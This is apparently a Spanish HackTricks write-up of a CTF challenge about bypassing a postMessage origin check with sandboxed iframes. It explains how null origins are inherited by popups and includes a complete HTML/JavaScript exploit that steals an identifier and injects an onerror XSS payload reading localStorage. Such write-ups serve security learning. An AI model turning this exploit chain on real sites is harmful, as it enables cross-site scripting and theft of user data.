Bypassing SOP with Iframes - 1

Aprende hacking en AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Iframes en SOP-1

En este desafío creado por NDevTK y Terjanq necesitas explotar un XSS en el código.

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}

El problema principal es que la página principal utiliza DomPurify para enviar el data.body, por lo que para enviar tus propios datos html a ese código necesitas burlar e.origin !== window.origin.

Veamos la solución que proponen.

Bypass SOP 1 (e.origin === null)

Cuando //example.org está incrustado en un iframe con sandbox, entonces el origen de la página será null, es decir, window.origin === null. Por lo tanto, simplemente al incrustar el iframe a través de <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> podríamos forzar el origen null.

Si la página fuera incrustable, podrías burlar esa protección de esa manera (es posible que también sea necesario configurar las cookies en SameSite=None).

Bypass SOP 2 (window.origin === null)

El hecho menos conocido es que cuando se establece el valor de sandbox allow-popups, entonces la ventana emergente abierta heredará todos los atributos con sandbox a menos que se establezca allow-popups-to-escape-sandbox. Por lo tanto, abrir una ventana emergente desde un origen nulo hará que window.origin dentro de la ventana emergente también sea null.

Solución del Desafío

Por lo tanto, para este desafío, uno podría crear un iframe, abrir una ventana emergente a la página con el manejador de código XSS vulnerable (/iframe.php), como window.origin === e.origin porque ambos son null, es posible enviar un payload que explotará el XSS.

Ese payload obtendrá el identificador y enviará un XSS de vuelta a la página superior (la página que abrió la ventana emergente), lo cual cambiará la ubicación a la vulnerable /iframe.php. Debido a que el identificador es conocido, no importa que la condición window.origin === e.origin no se cumpla (recuerda, el origen es la ventana emergente del iframe que tiene origen null) porque data.identifier === identifier. Entonces, el XSS se activará nuevamente, esta vez en el origen correcto.

<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red Team de AWS de HackTricks)!

Última actualización